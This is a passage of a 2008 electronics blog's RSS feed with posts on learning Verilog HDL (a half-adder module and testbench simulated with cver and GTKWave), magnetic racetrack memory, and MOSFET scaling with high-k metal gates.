&lt;a href="http://feedads.g.doubleclick.net/~a/YBhm3rv2Hy1I3JGvQhf9QjAoXpE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YBhm3rv2Hy1I3JGvQhf9QjAoXpE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/ehTcoEfQw6Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/ehTcoEfQw6Y/quantum-well-fet.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_XTElFWnvKxw/SQMw2RxXJeI/AAAAAAAAAP4/_cdr8vdbf30/s72-c/device+structure.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/10/quantum-well-fet.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-6035413314454064481</guid><pubDate>Sun, 21 Sep 2008 07:16:00 +0000</pubDate><atom:updated>2009-05-07T23:59:58.973-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Verilog HDL</category><title>Learning VerilogHDL</title><description>&lt;div style="text-align: justify; font-family: times new roman;"&gt;There are several ways of representing digital logic.One method employed to simplify the complexity in transfering the schematic representations is to use HDLs(hardware description languages).One popular one is Verilog HDL. Although there are no packages and libraries available in Verilog ,its simpler because of its similarity   in format compared to C language.Note that the C is a sequntial laguage running on sequential device ,while the Verilog is a HDL which is only for the hardware! its not a programming language!&lt;br /&gt;Another great thing about this Verilog is that it allows various levels of abstraction&lt;br /&gt;We can have a structural style a data flow style or a behavioural style!The Verilog HDL is an event driven one.(assuming fedora, am in fedora9)We require a open source tools such as cver and gtk wave for simulation and result.gtk wave is a waveform viewer.There are many more tools available.&lt;br /&gt;&lt;i&gt;The basic functional block in Verilog is the "module"&lt;/i&gt;&lt;br /&gt;A typical module statement may look like &lt;i&gt;&lt;strong&gt;module halfadder(A,B,S,Cout);&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/i&gt;where the A,B,S,Cout are the  input and output list of a half adder&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_XTElFWnvKxw/SNX73Amr2PI/AAAAAAAAAO8/4Uc3CgCAL78/s1600-h/half+adder.jpg"&gt;&lt;img src="http://3.bp.blogspot.com/_XTElFWnvKxw/SNX73Amr2PI/AAAAAAAAAO8/4Uc3CgCAL78/s320/half+adder.jpg" alt="" id="BLOGGER_PHOTO_ID_5248377863243815154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The code for generating a half adder is shown&lt;br /&gt;(open any editor,vim ,gedit ,any edit type the following code)&lt;br /&gt;&lt;i&gt;&lt;strong&gt;module halfadder(A,B,S,Cout);&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;input A,B;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;output S,Cout;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;strong&gt;&lt;i&gt;xor x1(S,A,B);&lt;/i&gt;&lt;/strong&gt;//since this is a primitive we cannot specify the portlist as we wish&lt;br /&gt;//the format is output followed by input&lt;br /&gt;&lt;strong&gt;&lt;i&gt;and a1(Cout,A,B);&lt;/i&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;i&gt;endmodule&lt;/i&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;we save this as a file (say) ha.v&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;The above specified code is a structural description of half adder.after creating this we have created a half adder in verilog. This can be given to the synthesis tool.For varification of the logic of the ckt we need testbenches to be written .&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;`timescale 1ns/1ps&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;`include "ha.v"&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;module ha_tb;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;reg A_t,B_t;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;wire S_t,Cout_t;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;halfadder UUT(.A(A_t),.B(B_t),.S(S_t),.Cout(Cout_t));&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;initial &lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;begin&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;$dumpfile("ha.vcd");&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;$dumpvars(2,ha_tb.UUT);&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;end&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;initial&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;begin&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt; A_t=1'b0;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt; B_t=1'b0;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;#5 A_t=~A_t;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;#5 B_t=~B_t;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;#5 A_t=~A_t;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;end&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;initial&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;#30 $finish;&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;strong&gt;&lt;span&gt;endmodule&lt;/span&gt;&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SNYNlMMMnJI/AAAAAAAAAPE/YRAPfBqWjQM/s1600-h/verilog1.jpg"&gt;&lt;img src="http://1.bp.blogspot.com/_XTElFWnvKxw/SNYNlMMMnJI/AAAAAAAAAPE/YRAPfBqWjQM/s320/verilog1.jpg" alt="" id="BLOGGER_PHOTO_ID_5248397348325596306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;after saving this in another name ha_tb.v,we can simulate the half adder with the help of test bench and cver writing&lt;br /&gt;&lt;span&gt;user$]cver ha_tb.v &lt;/span&gt;to the terminal .Then it will generate a value change dump file called ha.vcd in the same directory which can be opened through GTKwave for viewing the simulation result!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_XTElFWnvKxw/SNYQFu3w0YI/AAAAAAAAAPM/kwA4fMKtQY0/s1600-h/gtkwave.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_XTElFWnvKxw/SNYQFu3w0YI/AAAAAAAAAPM/kwA4fMKtQY0/s320/gtkwave.jpg" alt="" id="BLOGGER_PHOTO_ID_5248400106414199170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_XTElFWnvKxw/SNYQNuiUc9I/AAAAAAAAAPU/XlK38rlKfWs/s1600-h/graph.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_XTElFWnvKxw/SNYQNuiUc9I/AAAAAAAAAPU/XlK38rlKfWs/s320/graph.jpg" alt="" id="BLOGGER_PHOTO_ID_5248400243763213266" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-6035413314454064481?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IPAmrLzJ1r5hAR3zrT0GhOMyWc0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IPAmrLzJ1r5hAR3zrT0GhOMyWc0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IPAmrLzJ1r5hAR3zrT0GhOMyWc0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IPAmrLzJ1r5hAR3zrT0GhOMyWc0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/LGZk3786vxM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/LGZk3786vxM/learning-veriloghdl.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_XTElFWnvKxw/SNX73Amr2PI/AAAAAAAAAO8/4Uc3CgCAL78/s72-c/half+adder.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/09/learning-veriloghdl.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-8865736940293752780</guid><pubDate>Sat, 09 Aug 2008 07:19:00 +0000</pubDate><atom:updated>2009-05-08T23:02:32.091-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">RACETRACK MEMORY</category><title>MAGNETIC DOMAIN RACETRACK MEMORY</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/SJ1GHM1mHJI/AAAAAAAAAOM/rjdPMuSfIGQ/s1600-h/racetrack.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/SJ1GHM1mHJI/AAAAAAAAAOM/rjdPMuSfIGQ/s400/racetrack.JPG" alt="" id="BLOGGER_PHOTO_ID_5232415431593434258" border="0" /&gt;&lt;/a&gt;&lt;p class="Style5" style="line-height: 150%;"&gt;  &lt;/p&gt;&lt;p class="Style5" style="line-height: 150%;"&gt;&lt;span style="line-height: 115%;"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="Picture_x0020_1" spid="_x0000_i1025" type="#_x0000_t75" style="'width:224.25pt;height:244.5pt;visibility:visible'"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\msohtmlclip1\01\clip_image001.emz" title=""&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;Fig.1.&lt;!--[endif]--&gt;&lt;/span&gt;&lt;span class="FontStyle19"  style="font-size:100%;"&gt;&lt;span style="line-height: 150%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="Style5" style="line-height: 150%; text-align: justify;"&gt;&lt;span class="FontStyle19"  style="font-size:100%;"&gt;&lt;span style="line-height: 150%;"&gt;F&lt;span style="font-family: times new roman;"&gt;ig. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: times new roman;font-size:100%;" class="FontStyle18" &gt;&lt;span style="line-height: 115%;"&gt;1. The racetrack is a ferromagnetic nanowire, with data encoded as a pattern of magnetic domains along a portion of the wire. Pulses of highly spin-polarized current move the entire pattern of DWs coherently along the length of the wire past read and write elements. The nanowire is approximately twice as long as the stored DW pattern, so the DWs may be moved in either direction. &lt;b style=""&gt;(A)&lt;/b&gt; A vertical-configuration racetrack offers the highest storage density by&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: times new roman;font-size:100%;" class="FontStyle18" &gt;&lt;span style="line-height: 115%;"&gt; storing the pattern in a U-shaped nanowire normal to the plane of the substrate. The two figures show the magnetic patterns in the racetrack before and after the DWs have moved down one branch of the U. past the read and write ele­ments, and then up the other branch. &lt;b style=""&gt;(B)&lt;/b&gt; A horizontal config­uration uses a nanowire parallel to the plane of the substrate. &lt;b style=""&gt;(C)&lt;/b&gt;Reading data from the stored pattern is done by measuring the tunnel magnetoresistance of a magnetic tunnel junction element connected to the racetrack. &lt;b style=""&gt;(D)&lt;/b&gt; Writing data is accomplished, for example, by the fringing fields of a DW moved in a second ferromagnetic nanowire oriented at right angles to the storage nanowire. &lt;b style=""&gt;(E)&lt;/b&gt; Arrays of racetracks are built on a chip to enable high-density storage.&lt;/span&gt;&lt;/span&gt;&lt;a style="font-family: times new roman;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/SJ1HbIJO3ZI/AAAAAAAAAOU/wQuaYVL_8O0/s1600-h/rac.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/SJ1HbIJO3ZI/AAAAAAAAAOU/wQuaYVL_8O0/s400/rac.JPG" alt="" id="BLOGGER_PHOTO_ID_5232416873442631058" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify; font-family: times new roman;"&gt;&lt;span class="FontStyle18"  style="font-size:100%;"&gt;&lt;span style="line-height: 115%;"&gt;RM is fundamentally a shift register in which the data bits (the DWs) are moved to and fro along any given &lt;/span&gt;&lt;/span&gt;&lt;span class="FontStyle18"  style="font-size:100%;"&gt;&lt;span style="line-height: 115%;"&gt;racetrack to intersect with individual reading and writing elements integrated with each racetrack.&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height: 150%;"&gt;Permalloy&lt;/span&gt;&lt;span style="line-height: 150%;"&gt; is the term for a &lt;a href="http://en.wikipedia.org/wiki/Nickel" title="Nickel"&gt;&lt;span style="color:black;"&gt;nickel&lt;/span&gt;&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Iron" title="Iron"&gt;&lt;span style="color:black;"&gt;iron&lt;/span&gt;&lt;/a&gt; magnetic &lt;a href="http://en.wikipedia.org/wiki/Alloy" title="Alloy"&gt;&lt;span style="color:black;"&gt;alloy&lt;/span&gt;&lt;/a&gt;. Generically, it refers to an alloy with about 20% iron and 80% nickel content. Permalloy has a high &lt;a href="http://en.wikipedia.org/wiki/Permeability_%28electromagnetism%29" title="Permeability (electromagnetism)"&gt;&lt;span style="color:black;"&gt;magnetic permeability&lt;/span&gt;&lt;/a&gt;, low &lt;a href="http://en.wikipedia.org/wiki/Coercivity" title="Coercivity"&gt;&lt;span style="color:black;"&gt;coercivity&lt;/span&gt;&lt;/a&gt;, near zero &lt;a href="http://en.wikipedia.org/wiki/Magnetostriction" title="Magnetostriction"&gt;&lt;span style="color:black;"&gt;magnetostriction&lt;/span&gt;&lt;/a&gt;, and significant &lt;a href="http://en.wikipedia.org/wiki/Anisotropic" title="Anisotropic"&gt;&lt;span style="color:black;"&gt;anisotropic&lt;/span&gt;&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Magnetoresistance" title="Magnetoresistance"&gt;&lt;span style="color:black;"&gt;magnetoresistance.&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify; font-family: times new roman;"&gt;&lt;span style="line-height: 150%;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Magnetoresistance" title="Magnetoresistance"&gt;&lt;span style="color:black;"&gt;Advantages of racetrack memory over the other types of memory&lt;br /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify; font-family: times new roman;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Magnetoresistance" title="Magnetoresistance"&gt;  &lt;/a&gt;&lt;/p&gt;&lt;div style="line-height: 87%; margin-top: 0pt; margin-bottom: 0pt; direction: ltr; unicode-bidi: embed; vertical-align: baseline; text-align: justify; font-family: times new roman;"&gt;&lt;span style=";font-size:100%;color:black;"  &gt;•&lt;/span&gt;&lt;span style=";color:black;" &gt;Alternative for HDDs and existing solid state memories except SRAM.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;  &lt;/div&gt;&lt;div style="line-height: 87%; margin-top: 0pt; margin-bottom: 0pt; direction: ltr; unicode-bidi: embed; vertical-align: baseline; text-align: justify; font-family: times new roman;"&gt;&lt;!--[if ppt]--&gt;&lt;span style=";font-size:100%;color:black;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=";color:black;" &gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;  &lt;/div&gt;&lt;div style="line-height: 87%; margin-top: 0pt; margin-bottom: 0pt; direction: ltr; unicode-bidi: embed; vertical-align: baseline; text-align: justify; font-family: times new roman;"&gt;&lt;span style=";font-size:100%;color:black;"  &gt;•&lt;/span&gt;&lt;span style=";color:black;" &gt;100 times bits/area than SRAM&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;  &lt;/div&gt;&lt;div style="line-height: 87%; margin-top: 0pt; margin-bottom: 0pt; direction: ltr; unicode-bidi: embed; vertical-align: baseline; text-align: justify; font-family: times new roman;"&gt;&lt;!--[if ppt]--&gt;&lt;span style=";font-size:100%;color:black;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=";color:black;" &gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;  &lt;/div&gt;&lt;div style="line-height: 87%; margin-top: 0pt; margin-bottom: 0pt; direction: ltr; unicode-bidi: embed; vertical-align: baseline; text-align: justify; font-family: times new roman;"&gt;&lt;span style=";font-size:100%;color:black;"  &gt;•&lt;/span&gt;&lt;span style=";color:black;" &gt;Greater operating speed and less power consumption &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;  &lt;/div&gt;&lt;div style="line-height: 87%; margin-top: 0pt; margin-bottom: 0pt; direction: ltr; unicode-bidi: embed; vertical-align: baseline; text-align: justify; font-family: times new roman;"&gt;&lt;!--[if ppt]--&gt;&lt;span style=";font-size:100%;color:black;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=";color:black;" &gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;  &lt;/div&gt;&lt;div style="line-height: 87%; margin-top: 0pt; margin-bottom: 0pt; direction: ltr; unicode-bidi: embed; vertical-align: baseline; text-align: justify;"&gt;&lt;span style="font-family: times new roman;font-family:Arial;font-size:100%;color:black;"   &gt;•&lt;/span&gt;&lt;span style=";font-family:Arial;color:black;"  &gt;&lt;span style="font-family: times new roman;"&gt;Can be 3D.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;can replace the current architecture of memory in computers&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;  &lt;p class="MsoNormal" style="text-align: justify; line-height: 150%;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Magnetoresistance" title="Magnetoresistance"&gt;  &lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-8865736940293752780?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QTCG8oLonbQvTySlaD_eSt4ZBTA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QTCG8oLonbQvTySlaD_eSt4ZBTA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QTCG8oLonbQvTySlaD_eSt4ZBTA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QTCG8oLonbQvTySlaD_eSt4ZBTA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/BZwQiHnPkSM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/BZwQiHnPkSM/racetrack-memory.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_XTElFWnvKxw/SJ1GHM1mHJI/AAAAAAAAAOM/rjdPMuSfIGQ/s72-c/racetrack.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/08/racetrack-memory.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-8883649413638204312</guid><pubDate>Fri, 01 Aug 2008 16:24:00 +0000</pubDate><atom:updated>2009-05-08T23:07:39.186-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">MOSFET</category><title>MOSFET SCALING</title><description>&lt;img src="file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;    &lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold;font-family:Calibri;font-size:100%;"  &gt;High K Metal Gate Technology (HKMG)&lt;/span&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold;font-family:Calibri;font-size:54;"  &gt; &lt;/span&gt;&lt;/p&gt;  &lt;img src="file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/moz-screenshot-1.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/moz-screenshot-2.jpg" alt="" /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_XTElFWnvKxw/SJMyecwp3eI/AAAAAAAAANk/5a8rUl4NHyU/s1600-h/1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_XTElFWnvKxw/SJMyecwp3eI/AAAAAAAAANk/5a8rUl4NHyU/s320/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5229579091005005282" border="0" /&gt;&lt;/a&gt;&lt;img src="file:///C:/DOCUME%7E1/ADMINI%7E1/LOCALS%7E1/Temp/moz-screenshot-5.jpg" alt="" /&gt;  &lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold; font-family: times new roman;font-family:Calibri;font-size:100%;"  &gt;Dielectric leakage problem&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_XTElFWnvKxw/SJMzJypec_I/AAAAAAAAANs/nqm3p3cqsF0/s1600-h/2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_XTElFWnvKxw/SJMzJypec_I/AAAAAAAAANs/nqm3p3cqsF0/s320/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5229579835614852082" border="0" /&gt;&lt;/a&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold;font-family:Calibri;font-size:54;"  &gt; &lt;/span&gt;&lt;/p&gt;    &lt;div style="margin-top: 7.68pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; direction: ltr; unicode-bidi: embed; font-family: times new roman; text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;•&lt;/span&gt;&lt;span style=";font-size:100%;color:black;"  &gt;Dielectric leakage is problem faced during scaling the MOSFET&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="margin-top: 7.68pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; direction: ltr; unicode-bidi: embed; font-family: times new roman; text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;•&lt;/span&gt;&lt;span style=";font-size:100%;color:black;"  &gt;This happens because of the tunneling of the electrons through the thin dielectric&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="margin-top: 7.68pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; direction: ltr; unicode-bidi: embed; font-family: times new roman; text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;•&lt;/span&gt;&lt;span style=";font-size:100%;color:black;"  &gt;As the width(physical) of the dielectric reduces &lt;/span&gt;&lt;span style=";font-size:100%;color:black;"  &gt;leakage becomes more due to tunneling&lt;/span&gt;&lt;/div&gt;    &lt;div style="margin-top: 4.32pt; margin-bottom: 0pt; margin-left: 0.38in; text-indent: -0.38in; text-align: left; direction: ltr; unicode-bidi: embed;"&gt;&lt;div style="text-align: center;"&gt;&lt;!--[if ppt]--&gt;  &lt;/div&gt;&lt;p style="margin-top: 0pt; margin-bottom: 0pt; margin-left: 0in; direction: ltr; unicode-bidi: embed; text-align: left;"&gt;&lt;span style="font-variant: normal; color: rgb(80, 80, 80); text-transform: none; letter-spacing: 0pt; font-weight: bold;font-family:Calibri;font-size:100%;"  &gt;High K Solution&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_XTElFWnvKxw/SJMzzPoyI3I/AAAAAAAAAN0/vfu9jVm4Q2g/s1600-h/3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_XTElFWnvKxw/SJMzzPoyI3I/AAAAAAAAAN0/vfu9jVm4Q2g/s320/3.jpg" alt="" 